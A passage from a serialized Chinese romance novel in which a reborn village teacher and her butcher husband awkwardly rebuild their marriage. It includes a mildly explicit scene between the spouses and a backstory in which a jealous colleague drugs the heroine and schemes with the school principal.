太阳要落山了,绚烂的火烧云铺满整片天空,映照得万物黄橙橙的,小孩子们在房前屋后追逐打闹,家家户户不约而同升起了袅袅炊烟。
这样寻常且平淡的画面,许铭荣以往从未有什么闲情逸致感受过。
因为摩托车被工人开去送货,今天下工他是走路回家的。
许铭荣心情愉悦,脚步欢快,眼前所看到的一切是那么美丽,该如何形容此刻的感受呢?
如果非要用一个词来表述,那就是【期待】。
他对明天的美好充满了期待。
“谁令我当晚举止失常,难自禁望君你能见谅,但觉万分紧张,皆因跟你遇上……”①
许铭荣不自觉哼起了歌。
“猪肉荣,捡到钱了,今天那么开心。”
扛着锄头迎面走来的村人从许铭荣脸上窥得几分笑容,稀奇道。
“没有的事。”许铭荣板起脸,恢复成不苟言笑模样。
“明早给我留十斤靓一点的五花肉。”
“行。”
说完,许铭荣继续往前走,陆续又见到几个预定猪肉的人家。
终于回到家门,见温欣怡正在院子压着水井,晚霞将她的白裙子染成了淡黄色,额前有几缕发丝垂下挡住了视线,她抬起手轻轻别到耳后,听到动静,她转头一看,粲然一笑。
“你回来啦。”
这一瞬间,映入眼帘的背景成了虚幻,唯她的身影最为清晰。
许铭荣走过去:“我来压水。”
“行,要装满水缸。”温欣怡松手,“我去炒菜啦。”
男女搭配,干活不累。
两人各自忙活着,丝丝缕缕的暧昧气息在两人之间流转。
许铭荣将水缸装满水后,刚走进屋,就发现了些许不同——
他的物品和温欣怡的物品摆放到了一起,不再是隔着楚河汉界,遥遥相望。
并列的搪瓷杯、碗筷、椅子、鞋子……
还有墙上多了挂历,桌子铺上一张蕾丝花边桌布、窗户用珠帘点缀,连扫把的把手都绑上了一个粉色蝴蝶结装饰……
眼神依次扫过点点滴滴的变化,每处都透露出她的小心机,这个家就像突然有了温度,想象温欣怡是如何精心布置的样子,许铭荣内心五味杂陈,有对以往她冷暴力自己的酸涩,也有对她所说好好过日子的向往。
可是为什么?她真的想真心实意和他过下去吗?人一夕之间怎么会有如此大的变化呢?还是觉得无聊想戏弄他?
等看到他真的沦陷于她编织的温柔网中,再洋洋得意地跳出来讥笑道:“你以为我是真的喜欢你吗?也不看看自己配不配!玩玩而已,谁让你当真?”
她对他总是刻薄无情的。
思此,欢喜的心情恢复了平静。
不一会儿,温欣怡把饭菜端上来,开饭啦。
两人相对而坐,温欣怡好几次找话题闲聊家常,但许铭荣回应淡淡的,先前彼此之间隐秘的暧昧彷佛是错觉。
他绷着一张脸,真的显得很凶,温欣怡聊不下去了。
“你以前怎么样,现在就怎么样,没必要为了讨好我改变自己。”许铭荣见她绞尽脑汁找话题,都不像她了。
“我……我只是想再多了解你一些。”知道有愧于他,现在温欣怡在面对他时,的确带有讨好的意味。
“温欣怡,你喜欢我吗?”许铭荣突然问道。
对上他澄澈的眼睛,彷佛一切谎言都无处遁形,温欣怡扪心自问,现在对他是感恩居多,喜欢还谈不上。
见她迟疑,许铭荣了然地笑笑,旋即道:“我们就像之前那样互不干扰相处挺好的,我习惯了,你没必要突然改变,弄得两人都不自在。现在你还是我老婆,如果你想要钱或者其他,我能给你的都会尽量给你。”
言下之意,她不必为了钱还是什么,委曲求全自己扮演什么贤惠妻子。
那些异常的行为是因为什么目的,可以直说。
他一副你定有所图、别想骗我的戒备模样,温欣怡简直要被气笑。
“你都说我是你老婆,那现在我想履行老婆的义务行不行?”温欣怡气呼呼道,“你不能用昨天的眼光看待今天的我,时间会证明一切,我就问你一句,你还想不想和我过日子?”
她梗着脖子,很有气势,恍若他回答一句“不想”,她就要跳起来将人揍一顿。
她自以为很唬人,但此时落在许铭荣的眼中,就像是一只暴躁跳脚的猫咪,生动的表情让人想捏一捏那鼓起的脸颊。
许铭荣不动声色地按压下蠢蠢欲动的手指,表情没有变化地说:“想。”
“想就行,我吃饱了,你洗碗。”温欣怡说完,放下碗筷,转身回了房间。
将门一关上,温欣怡无声咆哮释放情绪,捶锤枕头,摇摇床架,撞撞墙体……
一想到刚才自己那蛮横模样以及所说的话,温欣怡就像个上蹿下跳的猴子,久久不能平静。
这样的她太不像她了!
冷静丢哪去啦?
温欣怡摸了摸发烫的脸颊,羞涩、亢奋等情绪在胸腔翻涌,这样的感觉很新奇。
好久,身体被折腾累了,温欣怡瘫坐在椅子上,瞥到桌上的新毛巾新鞋子,正想着拿出去给他。
但手刚放到门把上,温欣怡顿了顿——
会是他喜欢的款式吗?要怎么自然地给他?他会收下吧?要是不收怎么办?
一个个问题在脑海中盘旋。
温欣怡退了几步,在房间小声演练起来——
“我随便买的,你随便用,不用客气。”
“你的毛巾烂了,我看不过眼,这送你了。”
“猜猜这是什么?是你会用上的。”
“我说和你好好过日子不是说说而已,以后你什么东西烂了,我还给你买。”
“……”
根据语境不同,语气、表情、动作都有所差别,演来演去,温欣怡表情僵了、累了。
“唉——”
温欣怡长叹口气,将耳朵贴在门上,外面传来磨刀声。
不是送东西的好时机。
温欣怡故作自然地经过院子,拿桶舀水去冲凉房洗澡。
等洗完澡出来,见许铭荣还在磨,温欣怡已经开始压水洗衣服了。
天黑了,月亮出来了,温欣怡衣服洗完晾好,许铭荣也终于将刀磨好。
见他蹲在水井旁,仔细地将手搓洗干净,温欣怡拿着新毛巾,放在背后,踌躇不前。
“有什么事吗?”
她的身影在眼前晃荡来晃荡去,一看就很反常,但她迟迟不开口,许铭荣也不知道她欲意如何。
“这给你的。”温欣怡将东西塞到他的手上,没看什么反应,就跑回了屋。
许铭荣走进客厅,灯光下,崭新的毛巾赫然入目,羞耻感瞬间将他淹没。
之前没觉得自己那些衣物和生活用品破破烂烂,都是能穿则穿,能用则用,但被温欣怡注意到,难免生出尴尬之心。
她是又嫌弃他了吗?所以才给他买新的。
不过转念一想,要放以前,温欣怡看都懒得看,更别提给他买新的,她这是对他的好意。
被她关心,许铭荣这个念头一转,再看新毛巾时,只觉得有一股暖流从心田涌过。
这是她送他的第一件礼物。
他很感动。
当晚洗澡许铭荣就用起了新毛巾,柔软亲肤很好用。
只是这之后,他有了新烦恼——该不该回送点什么给温欣怡呢?
礼尚往来,他不是个占便宜的人。
就在他想东想西时,手上的活忙完了,夜色渐浓,四周静悄悄,偶尔只有狗吠声传来。
该睡觉了。
只是站在温欣怡的房门前,许铭荣来回徘徊,心生怯意,彷佛里面有洪水猛兽。
“你在这走来走去干嘛?睡觉了。”温欣怡注意到投落到门口的影子有一会儿了,虽然她也紧张,但还是上前将他牵了进来。
“我们是夫妻,睡一张床名正言顺,天经地义!”温欣怡义正言辞。
许铭荣:……
【之前你不是这样说的。】
小手牵大手。
许铭荣木楞楞地被她牵着走,神经紧绷到极致。
温欣怡
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顺手将灯关上,感受到他的不自在,她就自在多了,在熟悉的地盘,恶念在黑暗之中滋生。
放下蚊帐,两人在床上躺好,温欣怡开口说道:“铭荣,知道我之前为什么那么讨厌你吗?”
“你不喜欢我。”
温欣怡听懂了他的意思,因为不喜欢,所以不管他做什么,她都会讨厌他。
事实也的确如此,如果她没有重生的话。
“呵呵。”那是无法改变的过往,温欣怡干笑,旋即凑近到他的耳朵,用气音怪啧:“你那个多大没有一点自知之明吗?暴力又粗鲁!每次弄得我都很难受,我讨厌是很正常的事。”
许铭荣愣了一下才反应过来她说的那个是什么,那段记忆是很久远的事了,可想起来,那种销魂蚀骨的滋味还是叫他心潮澎湃。
“你那时一点儿都不顾及我的感受,只顾自己舒服,难道我不该讨厌你吗?”温欣怡将这个锅踢到他身上。
许铭荣听到她的控诉,憋屈,他浑身上下,就没有一处是他喜欢的,不是说这个丑就说那个硬。
有时他觉得自己很温柔很小力了,她还是在那哇哇叫,那时其实他也没有过瘾。
“我说不要了你还要,难道那不是你吗?”温欣怡再次反问。
“咳咳……是我不对,我以为你是说反话,以后我会尊重你的意愿。”
许铭荣不习惯将那事拿出来讨论,尤其现在在床上,容易擦枪走火,他还是不要再做让她讨厌的事了。
他悄悄将身体移开了些。
“现在让我先适应适应行不?”温欣怡紧随而上,带着诱哄的意味,嘴唇轻轻吻过他的耳垂。
是他想的那样吗?
许铭荣下意识咽了咽口水,像受到了蛊惑,前方就算是万丈深渊他都要闯一闯,接话道:“怎么适应?”
“你不许动,我想玩玩你的……”
温欣怡翻身覆上他的胸膛,低头,动作生涩地撬开了他的唇瓣,用舌尖探索其中奥妙。
渐渐的,舌尖与舌尖对对碰、纠缠、共舞,最后温欣怡感到舌尖发麻了才松开。
好喜欢这种主动权掌控在手中、他躺在身下任由自己为所欲为的感觉。
“你乖乖的啊,配合我,跟着我的节奏走。”温欣怡缓了一会儿,开始脱掉许铭荣的上衣。
先前是她年纪小不识货,这紧实的胸肌,这块垒分明的腹肌,她竟然冷落了这么多年,想想真是暴殄天物啊。
温欣怡像个好奇宝宝,这摸摸,那捏捏,时不时还发出些“嘿嘿~~~”“好硬!”“弹弹的”等评价。
“你现在感觉怎么样?”温欣怡想知道她现在的行为,会不会让许铭荣感到厌恶。
半晌,没听到回答,温欣怡戳了戳:“问你呢,感觉怎么样?”
“要听真实的吗?”许铭荣的呼吸越来越粗重。
“嗯。”
“想操。”
温欣怡一掌拍到了他的胸肌上:“不行!我还没适应。”
许铭荣委屈:“你什么时候能适应?”
“还不是时候。”
许铭荣不想说话了,继续当尸体。
温欣怡的手往下在点火。
“你,你不是说还不是时候?”许铭荣攥紧了裤头。
“我又不是真干,先熟悉一下手感不行吗?”温欣怡言语羞涩,但动作大胆。
许铭荣饿太久了,想吃肉,于是没再阻止她,顺从地抬了抬腰腹。
“哎呀——”
“怎么会这样?”
“真神奇!”
“……”
羞意褪去,取而代之的是探索欲。
温欣怡自顾自玩着,自说自话。
“你能不能不要说话?”许铭荣抽气道。
“我又没有和你说话,你不听就是。”温欣怡手上动作不停,嘴上的惊叹也没停。
最后温欣怡探索累了,倒头就睡,嘴里还喃喃:“我还没适应好,下次还要适应。”
她的适应,简直是要他的命!
许铭荣看着将自己弄得狼狈不堪的罪魁祸首,认命般起身收拾狼藉擦拭干净。
9. 粗鲁屠夫VS傲慢老师
当太阳的第一缕光芒透过窗户射进来,温欣怡醒过来,发现腰上被一只手紧紧箍住,沉甸甸的,箍得人难受。
或许是触发了什么关键点,温欣怡做了一整晚妖精打架的梦,以至于醒过来眼皮沉重,精神萎靡,意识迟钝而混乱。
此刻映入眼帘的场景、人物和梦中大差不差,温欣怡有一瞬间恍惚了。
一想到昨晚自己的所作所为,羞耻感后知后觉攀上心头,温欣怡恨不得原地遁逃,或者有记忆消除术就好了。
她小心翼翼地将许铭荣的手抬起,但下一秒,她整个人被卷上了他的胸膛。
腰腹间有什么东西苏醒了,被硬硬地顶着。
温欣怡不敢乱动了,连呼吸都放慢一拍。
“昨晚适应好了吗?”
头顶传来的嗓音低沉悦耳,说话间胸腔在震动,温欣怡的脸颊刚好贴在上面。
再一次被男色考验,这会儿的她是个意志薄弱的,一点儿考验都经受不起,顺从心意伸手抓了抓。
嗯~手感真不错!
她吃得真好!
温欣怡窃喜。
“好玩吗?”许铭荣再次问道。
“还,还可以。”温欣怡感知到危险,立刻骨碌碌滚到了一边,“上班要迟到了!我……我去刷牙了!”
玩玩可以,但要真枪实弹地干,她还是没有克服好心理的阴影。
不玩了不玩了。
温欣怡连滚带爬飞速远离早晨比较亢奋的男人,今天看时间是来不及做早餐了,她匆匆忙忙将自己收拾妥当,就往学校赶去。
见到路边有摆摊卖包子玉米的,她顺手买了。
她几乎是踩着点来到学校,看了看排课表,今天要带早读,以及有三节语文课。
为了快速填饱肚子,她三下五除二,两三口就吃掉一个包子,两腮塞得鼓鼓的,牙齿快速嚼动。
“温老师,你怎么能来得比学生还晚?下次早点!还有你为人师表的,吃东西狼吞虎咽像什么样?一点都不斯文。”校长陈广志见到她这副模样,一上来就是一顿说教。
温欣怡将最后一口包子艰难咽下,拍了拍被噎得难受的胸膛,淡淡地回了一句:“知道了。”
说完拿起课本,往五年级的班级走去。
温欣怡现在看身边的人,都觉得大多数是心怀叵测之人。
例如陈广志,就像是蛰伏的毒蛇,不知道什么时候就被咬上来一口。
要想保护好自己,就要警惕,要防备,必要时还要先发制人,在被咬死之前,先搞死他。
迎面吹来的风吹走了些烦躁,温欣怡整理好思绪,深呼吸,平复心情。
教室里,学生们吵吵闹闹的,有的在追着跑,有的在扮鬼脸玩、有的在切磋“武艺”……
做什么的都有。
温欣怡刚到门口,只听一声“老师来了!”响起,这话的效果是立竿见影,一秒静音。
活着真好啊!
小孩子真可爱!
温欣怡不禁感慨。
不过为了能管理好班级,她板起脸,化身为灭绝师太,周身散发出冷冽之气质,昂首挺胸走上讲台。
眼神锐利如刀扫向每一个角落,当对上视线的那一刻,压迫感压下来,原本坐姿松松垮垮的学生们立刻摆正头、挺直腰,左右手重叠平放于桌。
这一刻,面对那摄人的目光,哪怕是暴躁刺头也秒变乖顺猫咪,不敢造次。
这就是班主任的威力!
“吵什么吵!我在办公室都能听到你们的声音,整栋楼就咱们班最吵!”
“上次教的课文都会背了吗?等下我一个个检查,没有背熟的留堂背。好了,不要浪费时间,现在拿出课本,开始早读。”
见学生们开始大声背诵,温欣怡穿梭于过道之中,每当路过哪一位学生,哪一位学生就加大声量积极表现。
那个希望引起老师注意和表现自己的小心思真让人忍俊不禁。
温欣怡掐了掐自己的大腿,强忍笑意,后来实在憋不住笑了,就拿起课本挡笑。
她可是很注重维护自己“灭绝师太”的人设,毕竟想要管理好班级,要让学生又敬又怕才好。
别看他们还是小孩子,但可会看脸色了,稍微温柔一点,他们就会蹬鼻子上脸。
这是温欣怡的经验之谈。
听着朗朗读书声,彷佛一切魑魅魍魉都不怕,这一刻,温欣怡内心得到了平静。
沉浸在教学、批改作业、检查背诵情况和回答学生问题之中,时间不知不觉就过去了,今天的班就上到这里啦。
温欣怡哼着歌收拾东西准备回家,好心情在见到黎玉琴时就此中断。
“欣怡,你今天怎么起晚了?以前你都很早到校的,听说校长说了你几句,你不要放在心上,我回去说他。”黎玉琴想像往常那样挽着她的手走。
温欣怡躲了躲:“我没放在心上,先走了。”
她避之不及、恍若怕被她缠上般脚步如飞的举动,让黎玉琴错愕万分。
温欣怡怎么了?
上周见面时还跟她黏黏糊糊说说笑笑来着。
看着她远去的背影,黎玉琴温和亲切的表情一秒切换成阴恻恻,嘴角扬起一抹讥诮的笑意。
不管温欣怡怎么变,黎玉琴都有信心将她玩弄于股掌,逃不掉的。
黎玉琴顺手扯过路边的绿叶,狠狠揉碎,再丢到地上,用脚碾烂,和泥混在一起。
她踩着烂叶,幻想着将温欣怡踩在脚下,像这片看不清原来形状的叶子一般。
如此,黎玉琴就开心了。
“你什么时候能帮我把温欣怡搞到手?”陈广志突然来到黎玉琴的身旁,不耐烦道。
“心急吃不了热豆腐,你也不想只吃一顿吧。”黎玉琴见他拿出一根香烟,很有眼色地从包里掏出火柴点燃。
“不要骗我,不然我会让你知道我的厉害。”陈广志抽了一口烟,将烟雾吐到她的脸上。
“哎呀,人家一直都知道你有多厉害。”黎玉琴语调变得娇俏,一个媚眼抛过去,丰满的身材贴上去,手指抚摸过他的嘴唇、下巴、喉结……
陈广志登时被撩起了火,被她那崇拜妩媚的眼神看着,恨不得原地将她办了。
“待会再让你见识一下我的厉害。”陈广志一把搂过她的腰,但下一秒,转弯处见到有老师走过来,他立刻松开了
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手,装回不苟言笑的正人君子模样。
“校长,黎老师,你们还没回去啊。”一位老师经过,打了个招呼。
“我再巡查一下校园,看有没有什么地方存在安全隐患的。”陈广志说。
黎玉琴也笑笑:“我陪他一起。”
“你们费心了,我相信在校长的领导下,我们的学校会越办越好!”那老师说。
陈广志谦虚道:“在其位,谋其职。我尽力而为,但问无愧于心。”
“那你们先忙,我先走了。”
“行,明天见。”
见到人走远后,陈广志火急火燎地将黎玉琴拉到附近的一间空教室,开干灭火。
*
陈广志的父亲是教育局的副主任,有这层关系,哪怕陈广志学识浅薄,只会吃喝玩乐,但他校长这个位置还是坐得稳稳当当的。
刚被委任当校长时,陈广志心不甘情不愿的,认为他就是一辈子不工作,家里的条件也能让他逍遥一辈子。
所以为什么要用工作束缚自己呢?
哪怕父亲威逼利诱都用上了,陈广志也没松口要去工作。
直到温欣怡来学校报到,陈广志对她一见钟情。
校长?
拿来吧。
当校长好啊!当校长妙啊!
陈广志这下是由衷感谢父亲的坚持与帮扶。
有了校长这个身份,陈广志想着近水楼台先得月,拿下温欣怡是迟早的事。
他很有自知之明——
邋遢粗心、好逸恶劳、自私暴躁、出口成脏、无责任心、挑食花心……
他身上的缺点多多,就是他自己都看不上自己。
但好在他会装会演,追女生在他看来是手拿把掐的事。
认识温欣怡后,陈广志从头到脚将自己洗刷得干干净净,再理个时髦的发型、穿上时兴的衣服,眼镜、钢笔、手表随身戴上。
这样一番打扮下来,谁看了不夸一句翩翩公子如是。
在温欣怡面前,陈广志是积极向上、乐于助人、尊老爱幼、勤劳刻苦、贴心周到等正面的形象。
被这样的人追求,的确是极大地满足了温欣怡的虚荣心。
在没揭穿他的真面目之前,对比下来,陈广志是她那些挑选的对象条件中,最符合的一个。
但陈广志所表现的太好了,在相处的过程中,她几乎没能找到他什么缺点。
真的有这么好的人吗?
哪怕她嘴上说想要找一个完美对象,但是真放在现实之中,她迟疑了。
他好得像个假人。
温欣怡有时故意使坏发脾气,活脱脱一个小作精,但陈广志一一都包容了,表现得更为殷勤。
他没想到的是,这更加引起了她的防备心。
陈广志想推进关系处对象,温欣怡迟迟没有答应。
两人就这么极限拉扯着。
面对第一个动心的女生,陈广志表现出了极大的耐心,他乐意陪她玩一玩。
但人算不如天算,自以为逃脱不出手掌心的女生,有一天被别人捷足先登了。
陈广志得知温欣怡要结婚的那天,简直要被气死!
10. 粗鲁屠夫VS傲慢老师
黎玉琴是和温欣怡同一批来这学校任职的老师,见识过陈广志在追求温欣怡时是如何关怀备注、伏低做小,要星星不给月亮。
可偏偏温欣怡理所当然地接受了陈广志的好处,但却迟迟没有答应处对象,还和其他男人眉来眼去,狐狸精一样勾勾搭搭,美名其曰要多对比,才能知道哪个是适合自己的。
温欣怡接触的那些男人,不是当官的,就是经商的,哪一个放到相亲市场,都是香饽饽的存在。
可偏她挑三拣四,那些男人一个个也是贱骨头,见了温欣怡就跟狗见了骨头般,摇头摆尾撒欢逗乐,尊严掉地,简直没眼看。
温欣怡是好看了一点,但她爱美爱俏,今日赚的钱今日花,没有一点儿存钱意识,且娇气受不了苦,实在不是一个贤良的妻子。
黎玉琴有时暗暗想着——将来某个肤浅的男人娶了她,或许会贪一时新鲜,但时间久了,烦了厌了,肯定会将她抛弃。
看她还会不会笑得那么开心,好似世上的苦难都不曾落到她的身上。
凭什么她可以活得那么恣意?!
她前半生享福,后半生一定会受苦。
黎玉琴曾听人说过:“人生起起落落,每个人来到这世间,福气都是有限的,所谓先苦后甜是常态。”
这样想着,黎玉琴一边是对温欣怡落魄的诅咒,一边是对自己美好未来的向往。
话说回来,黎玉琴之所以讨厌温欣怡,还有一个原因是因为她现在所谈的对象,在陈广志的衬托下,太拿不出手了。
黎玉琴谈的对象叫蔡达,是名电影放映员,说起两人认识的经过——
黎玉琴在上学时,难得一次和同学约好去看电影,没想到在电影院门口,有一个人走路没看路,将她撞倒到地,还弄脏了新衣服,她很生气,可偏偏那人还觉得是她不会闪开、挡路,将过错怪罪在她的身上。
围观的人也说她小题大做,得饶人处且饶人,不要斤斤计较。
在争执之中,蔡达路过,了解情况后,为黎玉琴讨回了公道与赔偿。
那一刻,蔡达的出现就像是路见不平,拔刀相助的大英雄。
而且他长得一表人才,特别是在得知他是电影放映员时,黎玉琴双眼放光,觉得这场事故是月老牵的红线,芳心沦陷了。
郎有情妾有意,两人拉扯了几个回合,就确定了关系。
刚开始,黎玉琴想着终于有人可以给自己遮风挡雨了,可相处愈久,她发现那些风雨都是他带来的。
因为蔡达各方面的条件都比较好,在两人的关系之中,他处于上位,平时黎玉琴会下意识地去讨好他。
蔡达一挂脸,黎玉琴立刻反思自己哪里做得不够好,久而久之,他被惯得愈发傲慢无礼,得寸进尺。
那时黎玉琴还在上学,可每到周末,她就要去蔡达的宿舍搞卫生、做大餐,因为蔡达抱怨说钱不够用,她还利用周末的时间去干活赚钱。
她也没觉得有什么不对,因为她从小生活的坏境,女人都是为男人服务的。
就像她的爸爸,哪怕酗酒、赌博、不干活,家里人也不敢有太多怨言,他一回到家,就可以跟个老佛爷般等着妈妈的照顾。
蔡达为了更好地使唤黎玉琴,少不了甜言蜜语,黎玉琴听在耳里,甜在心里,干活更卖力了,还美滋滋地想着他一定爱惨了她。
她觉得自己很幸福。
直到黎玉琴遇见了温欣怡,她面对男人时,既不恭顺,也不讨好,但男人们还是前仆后继为博得她的芳心,出钱出力,任劳任怨。
她怎么可以这样?!
黎玉琴感觉像打开了世界的新大门。
一面觉得她太轻佻不守女德,一面认为她手段了得。
黎玉琴像水沟里的老鼠般,窥探着温欣怡的生活,依靠柔弱可怜自强的人设,很快得到了她的同情心,两人成了“好朋友”。
黎玉琴一说“天气冷了,我没衣服穿。”,温欣怡就会送来衣服。
黎玉琴一说“这道菜是什么滋味,我还没吃过呢。”,温欣怡就会请客。
黎玉琴一说“他们欺负我,我好害怕。”,温欣怡就会找人教训回去。
……
将温欣怡玩弄于股掌之中,黎玉琴很有成就感。
特别是在她的暗示之下,温欣怡面对相亲对象时,眼光更为挑剔,更加无理取闹。
久而久之,温欣怡眼高于顶、心比天高的坏名声传了出来,许多追求者终于打退堂鼓。
但陈广志还在坚持。
黎玉琴总想着,要是陈广志能追求自己就好了,她不会叫他如此没面子低三下四。
她就纳闷了,怎么好女人就遇不上好男人呢?
和蔡达提出分手后,黎玉琴暗搓搓引诱过陈广志,但他不为所动,一心想着温欣怡。
可恨!
但她不能表现出嫉妒的情绪,甚至为了撮合两人,黎玉琴还要当传话、送东西的中间人。
不过这也方便了她挑拨离间。
好几次两人因信息传输有误对峙,黎玉琴差点被抓到马脚,好在最后她急中生智,都圆了回来。
就这样有惊无险地过了好长一段时间,温欣怡没有被陈广志打动,黎玉琴却被感动了,想将陈广志变为自己对象的念头与日俱增。
自此,黎玉琴在等一个时机,能将两人爱情火花浇灭的时机。
可这个时机迟迟没来,与其等待机会,不如创造机会,黎玉琴心一横,在一次和温欣怡去市里参加会议时,她带上了一包配种药。
只要有心,一切都可以顺势而为——
无意中得知老同学会出现在那一个饭店,黎玉琴便引导温欣怡去那个饭店,在添汤时将药混于其中。
加上之前看到老同学带侄子参观过田丰小学,想去那就读,在得知她是这学校的老师时,邀请黎玉琴叙叙旧是自然而然的事。
事发时不在场证明有了。
而通往招待所的小巷子,黎玉琴听说有些二流子专门伏在那里占孤身女孩的便宜,温欣怡一个落单的、情/欲燃身的貌美女子,手无缚鸡之力,那些精/虫上脑的男人们,见到后真的舍得放走吗?
黎玉琴赌温欣怡逃不过这一劫。
就算逃过了,但她吃了那个药,意识混沌,做出些什么风流浪荡的举动惹人笑话,相信到那时,陈广志就是再喜欢她,也会落下芥蒂。
黎玉琴的目的就达到了。
当晚,回到招待所时,温欣怡果然不在,黎玉琴睡得很安稳。
第二天一大早,“好戏”开锣了!
温欣怡和猪肉荣睡了,这对黎玉琴来说,真是可喜可贺。
黎玉琴拿出毕生演技——
震惊、担忧、愤怒、后悔、怜惜……各种情绪轮番演绎。
在推波助澜下,听到温欣怡说要和猪肉荣结婚的那一刻,黎玉琴呼吸一下子急促起来,恨不得原地蹦跶二十米高以表达激动。
她用力掐痛自己,才能维持好关爱的表情。
但毕竟不是天生的演员,真实的心里想法还是有一点外泄、被温欣怡感知到了,从那天之后,温欣怡不再有什么心事都跟黎玉琴诉说。
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刚好黎玉琴也不想再听她说那些伤春悲秋、无病呻吟的矫情之事,耳朵清净了,挺好。
温欣怡和不爱的人结婚后,她就像是一朵枯萎的玫瑰,那张总笑得比阳光还要灿烂的脸不笑了。
头顶上恍若有一朵乌云笼罩,温欣怡的世界终于要下雨了。
像温欣怡那么心高气傲的人,嫁给猪肉荣这样的莽汉对她来说是一种侮辱,他们的婚后生活从开始的鸡飞狗跳,到后来漠视彼此的存在,总归都是不幸福。
果然,温欣怡的气运消失了,黎玉琴的好运则要降临。
心爱之人结婚了,新郎却不是我,陈广志的情绪极度低落,愤怒且不甘。
他付出了那么多,却连她的手都没牵过,叫他如何甘心。
陈广志想要点补偿——反正温欣怡是二手货了,陪他睡一觉也无可厚非。
他是这么想的,也是这么做的。
但是温欣怡拒绝的态度很坚决,在得知陈广志的意图后,是避之如洪水猛兽。
而温欣怡不是爸嫌妈厌无依无靠的女生,若是真强迫她,怕会鱼死网破,不划算。
所以陈广志不敢轻举妄动,想要温欣怡心甘情愿伏于他的身下。
他在等,等一个时机。
刚好在那时,黎玉琴陪伴在陈广志的身旁给予安慰、关心。
之前陈广志不愿意接受黎玉琴的引诱是因为怕温欣怡介意,但现在没了顾虑,送上门的不要白不要。
陈广志或是想证明自己并不是非温欣怡不可,或是想让温欣怡知道,他比那个粗鲁的屠夫好一百倍一万倍,顺水推舟和黎玉琴谈起了恋爱。
他对黎玉琴的好,跟追求温欣怡时相比,有过之而无不及。
他就是想让温欣怡后悔,错过他是一大损失。
但陈广志没想到的是,终日打雁,叫雁啄了眼。
他以为黎玉琴是任由拿捏的白兔,没想到她是披着羊皮的狼。
他引狼入室了——
一次喝酒后,陈广志半醉半醒时,黎玉琴靠过来想要搀扶他,温香软玉在怀,难免让人心猿意马。
……
最后陈广志释放在了黎玉琴身上。
没想到就那么一次,她怀上了。
当黎玉琴找上门要名分,陈广志是不想负责的。
然而那会儿,中央正开展“严打”行动,按照依法“从重从快,一网打尽”的精神,对刑事犯罪分子予以坚决打击。①
流氓罪赫然在列。
黎玉琴是一无所有,无畏无惧,但陈广志一家顾忌颇多,再三考虑后,捏着鼻子认了下来。
结婚后,陈广志不愿装了,本性暴露。
黎玉琴虽然有所失望,但很快调整好心态,在陈广志那受了气,就从婆婆或公公那找补回来。
她是精神受到了伤害,但收获了钱财,黎玉琴认为自己不亏。
或许得不到的永远在骚动,陈广志对温欣怡始终不死心,时不时就将黎玉琴和温欣怡作比较,话里话外都说她比不上温欣怡。
这就像扎进心里的一根尖刺,迟迟没有拔出来,提醒着她的忍耐与不忿。
黎玉琴想着吃过就不会再惦记了,在温欣怡面前,和陈广志配合,一个唱红脸,一个唱白脸——
陈广志在工作上给温欣怡施压使绊子,想让她焦头烂额,最后不得不向他低头。
黎玉琴则继续和温欣怡当“好”朋友,时不时晒晒聊聊买买买日常,既是希望她会羡慕,也是想暗示陈广志对于自己的女人,出手可是相当阔绰,她真的不心动不后悔吗?
11. 粗鲁屠夫VS傲慢老师
今夜无月,大地被黑幕笼罩住,远远近近的房屋中透出点点亮光像散落的星星,四周是寂静的。
夜晚的活动不多,临睡前,温欣怡拿起一本书看,不一会儿就打起哈欠来,困了。
但许铭荣还没有回来,之前温欣怡对他毫不在意,哪管他在或不在,现在一个人在家,觉得空荡荡的,太安静了。
她心里不自觉挂念起他——在干嘛呢?怎么还没回来?还想着和他来场夜谈呢,有好多话想和他聊……
想着想着,不知不觉,她睡过去了。
第二天醒来,温欣怡没有发现家里有许铭荣回来过的痕迹,第三天也不见人,第四天人也不见,他没回来,也没让人捎句话说是要干什么去。
温欣怡那颗期待的心随着一天天过去,变得很不是滋味。
她找了个时间,去猪场跑了一趟,得知许铭荣去隔壁市买猪崽和卖大猪了。
“你这做人老婆的,老板没告诉你一声?”
“看来你们的关系真的不是很好,相看两厌恶,不如早点分开。”
“温老师,像你这样的条件,陪我们老板这个大老粗,那句话怎么说来着,鲜花插在牛粪上。”
“……”
在喂猪大娘的揶揄声中,温欣怡没怼赢,讪讪地走了。
直到第六天的傍晚,许铭荣终于回家了,然而当他从她的身旁经过时,却装作没看见。
将她当作了隐形人。
这样的相处模式,温欣怡很熟悉。
为什么?
他们不是说开了吗?不是要成为相亲相爱一家人吗?为什么他又变得冷冰冰?这么多天没回家也没个解释,该生气的是她吧?
委屈顿生。
“许铭荣,这么多天没回家,你为什么不告诉我一声?”温欣怡冲他的背影喊了一声。
许铭荣的脚步顿了顿,转过身:“我以为你不会在意。”
不得不说,那晚她大胆的举动让他抓耳挠腮百思不得其解,做什么都会想到她,严重影响到了日常。
她突如其来的变化,他毫无应对之法,想着分开冷一冷,头脑冷静下来,她或许就不会再说那些和他好的胡话了。
只是心里所思所想,非人为可控制。
在看不见温欣怡的日子里,她的嬉笑怒骂在脑海中愈发清晰。
这对他而言不是什么好的现象。
不可否认,他在逃避,他想用时间来平复烦恼。
但显而易见的,问题不会随着时间的流逝而被解决。
出差回来,许铭荣在门口徘徊了好久做足心理准备,深吸口气,才迈步进去。
再次见到温欣怡,他的心跳就开始加速,随着两人距离的拉近,节拍越来越急促,乱了呼吸。
许铭荣默默暗示自己:【看不见看不见看不见……】
然后,目不斜视、面无表情地走过……
其实这是他的一个试探。
带着一种报复心理,他想让她感受感受那些被冷暴力的感受。
许铭荣就像是小心翼翼的胆小鬼,被伤害过后,再次敞开心扉并不是一件容易的事。
他也不习惯事事向她报备。
他不过是用她曾对待他的方式,对待回去而已,她在委屈什么呢?
她真的在意他吗?证据呢?他不会被一些小恩小惠收买,不是好了伤疤忘了疼那种人。
他的心竖起一道墙,将她阻隔在外。
所以,这次没有将行程安排告知于她,她生气了吗?还会想和他好好过日子吗?
“我在意,以后当天没有回家,都要告诉我。”温欣怡走过去,凶巴巴地瞪着他道,“如果你还当我是你老婆的话!”
这是在意的表现吧?
许铭荣愣了愣。
“嗯?说话啊。”温欣怡眉头皱起来。
在她的催促声中,许铭荣点点头。
“那你喊我一声‘老婆’。”温欣怡紧皱的眉头舒展开,看着他呆呆愣愣的样子,忍不住想逗逗他。
听着【老婆】这个词语,许铭荣陌生又尴尬,要是早些年,他肯定能自如地喊出,但现在变得莫名要脸起来。
这两个字像烫嘴,刚到喉咙又被咽下。
